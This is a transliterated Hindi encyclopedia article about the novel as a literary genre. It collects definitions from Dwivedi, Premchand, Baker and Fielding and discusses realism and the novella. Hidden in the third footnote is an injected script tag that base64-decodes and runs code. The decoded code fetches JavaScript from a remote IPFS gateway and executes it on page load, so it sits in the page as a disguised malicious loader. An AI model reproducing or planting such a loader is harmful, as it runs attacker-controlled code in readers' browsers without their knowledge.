उपन्यास
[[chitr:Godan.jpg|godan|thumb]] upanyas gady lekhan ki ek vidha hai. upanyas aur kahani ka kala-roop adhunik yug ki upaj hai. vidvanoan ka aisa vichar hai ki upanyas aur kahani sanskrit ki katha-akhyayikaoan ki sidhi santan nahian haian. kavita aur natak ke sandarbh mean yahi bat nahian kahi ja sakati. arthath natak aur kavita ki tarah upanyas aur kahani ki parampara purani nahian hai. upanyas ka sanbandh yatharthavad se bataya jata hai. purani duniya adarshavadi thi. adhunik duniya yatharthavadi hai. yatharthavadi hone ka pahala lakshan hai jivan ke sare moolyoan ka laukik hona. usamean jivan ki vyakhya mukhyat: do adharoan par hoti hai-
- bhaugolik, samajik, rajanitik, arthik paristhitiyaan
- aitihasik parampara
upanyas ki paribhasha
- achary hajariprasad dvivedi ke shabdoan mean
janm se hi upanyas yatharth jivan ki or unmukh raha hai. purani katha-akhyayika se vah isi bat mean bhinn hai. ve (yani, purani katha-akhyayikaean) jivan ke khatakane vale yatharth ke sangharshoan ke bachakar svapnalok ki madak kalpanaoan se manav ko ulajhane, bahakane aur phusalane ka prayatn karati thian, jabaki upanyas jivan ki yatharth se ras khianchakar chitt-vinodan ke sath hi sath manushy ki samasyaoan ke sammukhin hone ka ahvan lekar sahity kshetr mean aya tha. usake pair thos dharati par jame haian aur yatharth jivan ki kathinaiyoan aur sangharshoan se chhanakar ane vala “avyaj manohar” manaviy ras hi usaka pradhan akarshan hai.[1]
- muanshi premachand ke shabdoan mean
maian upanyas ko manav-charitr ka chitr matr samajhata hooan. manav charitr par prakash dalana aur usake rahasyoan ko kholana hi upanyas ka mool tattv hai. sab adamiyoan ke charitroan mean bhi bahut kuchh samanata hote hue bhi kuchh vibhinnataean hoti haian. yahi charitr sanbandhi samanata aur vibhinnata-abhinnatv mean bhinnatv aur vibhinnatv mean abhinnatv-dikhana upanyas ka mool karttavy hai.[1]
- arnest e. bekar ke shabdoan mean
arnest e. bekar ne upanyas ki paribhasha dete hue use gadyabaddh kathanak ke madhyam dvara jivan tatha samaj ki vyakhya ka sarvottam sadhan bataya hai. yoan to vishvasahity ka praranbh hi sanbhavat: kahaniyoan se hua aur ve mahakavyoan ke yug se aj tak ke sahity ka merudand rahi haian, phir bhi upanyas ko adhunik yug ki den kahana adhik samichin hoga. sahity mean gady ka prayog jivan ke yatharth chitran ka dyotak hai. sadharan bolachal ki bhasha dvara lekhak ke lie apane patroan, unaki samasyaoan tatha unake jivan ki vyapak prishthabhoomi se pratyaksh sanbandh sthapit karana asan ho gaya hai. jahaan mahakavyoan mean kritrimata tatha adarshonmukh pravritti ki spasht jhalak dekhane ko milati hai, adhunik upanyasakar jivan ki vishrriankhalataoan ka nagn chitran prastut karane mean hi apani kala ki sarthakata dekhata hai.
yatharth ke prati agrah ka ek any parinam yah hua ki katha sahity ke apaurushey tatha alaukik tatv, jo prachin mahakavyoan ke vishisht aang the, poornataya lupt ho ge. kathakar ki kalpana ab simabaddh ho gee. yatharth ki paridhi ke bahar jakar manachahi u dan lena usake lie pray: asanbhav ho gaya. upanyas ka avirbhav aur vikas vaijnanik pragati ke sath hua. ek or jahaan vijnan ne vyakti tatha samaj ko samany dharatal se dekhane tatha chitrit karane ki prarena di vahian doosari or usane jivan ki samasayaoan ke prati ek ne drishtikon ka bhi sanket kiya. yah drishtikon mukhyat: bauddhik tha. upanyasakar ke oopar kuchh ne uttaradayitv a ge the. ab usaki sadhana kala ki samasyaoanan tak hi simit n rahakar vyapak samajik jagarookata ki apeksha rakhati thi. vastut: adhunik upanyas samajik chetana ke kramik vikas ki kalatmak abhivyakti hai. jivan ka jitana vyapak evan sarvaangin chitr upanyas mean milata hai utana sahity ke any kisi bhi roop mean upalabdh nahian.
samajik jivan ki vishad vyakhya prastut karane ke sath hi sath adhunik upanyas vaiyaktik charitr ke sookshm adhyayan ki bhi suvidha pradan karata hai. vastav mean upanyas ki utpatti ki kahani yooropiy punarutthan (renaisaan) ke phalasvaroop arjit vyaktisvatanty ke sath lagi huee hai. itihas ke is mahatvapoorn daur ke uparaant manav ko, jo ab tak samaj ki ikaee ke roop mean hi dekha jata tha, vaiyaktik pratashtha mili. samantavadi yug ke samajik bandhan dhile p de aur manav vyaktitv ke vikas ke lie unmukt vatavaran mila. yatharthonmukh pravrittiyoan ne manav charitr ke adhyayan ke lie bhi ek naya drishtikon diya. ab tak ke sahity mean manav charitr ke saral vargikaran ki paranpara chali a rahi hai. patr ya to poornataya bhale hote the ya ekadam ge gujare. achchhaiyoan aur trutiyoan ka sammishran, jaisa vastavik jivan mean sarvatr dekhane ko milata hai, us samay ke kathakaroan ki kalpana ke pare ki bat thi. upanyas mean pahali bar manav charitr ke yatharth, vishad evan gahan adhyayan ki sanbhavana dekhane ko mili.
aangreji ke mahanh upanyasakar henari fildiang ne apani rachanaoan ko gady ke likhe ge vyangyatmak mahakavy ki sanjna di. unhoanne upanyas ki itihas se tulana karate hue use apekshakrit adhik mahatvapoorn kaha. jahaan itihas kuchh vishisht vyaktiyoan evan mahatvapoorn ghatanaoan tak hi simit rahata hai, upanyas pradarshit jivan ke saty, shashvat aur sanrvadeshiy mahatv rakhate haian. sahity mean aj upanyas ka vastut: vahi sthan hai jo prachin yug mean mahakavyoan ka tha. vyapak samajik chitran ki drishti se donoan mean paryapt samy hai. lekin jahaan mahakavyoan mean jivan tatha vyaktiyoan ka adarshavadi chitr milata hai, upanyas, jaisa fildiang ki paribhasha se spasht hai, samaj ki alochanatmak vyakhya prastut karata hai. upanyasakar ke lie kahani sadhan matr hai, sadhy nahian. usaka dhyey pathakoan ka manoranjan matr bhi nahian. vah sachche arth mean apane yug ka itihasakar hai jo saty aur kalpana donoan ka sahara lekar vyapak samajik jivan ki jhaanki prastut karata hai.[2]
upanyas ke samanaantar idhar upanyasika namak navin gady vidha ka sootrapat hua hai jise laghu upanyas bhi kaha jata hai. upanyasika apani sanghatana ki drishti se upanyas ke nikat hone par bhi kalaver tatha akar ke chalate kahani ke adhik nikat hoti hai. isamean n to kahani jaisi ekasootrata, saghan bunavat aur prabhavanviti hoti hai aur n hi upanyas jaisa phailav tatha niroopan vaividhy. dekha jae to upanyasika upanyas aur kahani ke bich ki vidha hai.[3]
bharatakosh par upalabdh upanyas
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tika tippani aur sandarbh
- ↑ 1.0 1.1 upanyas aur kahani (hiandi) sahityalochan. abhigaman tithi: 25 faravari, 2013.
- ↑ san.gran.-ee.em. forstar : aispekts aauv d navel; ralf f aauks : di navel aianu d pipul; pasi kuvatak : d kraift aauv fikshan; edavin myor : d strakchar aauv d navel.
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 119 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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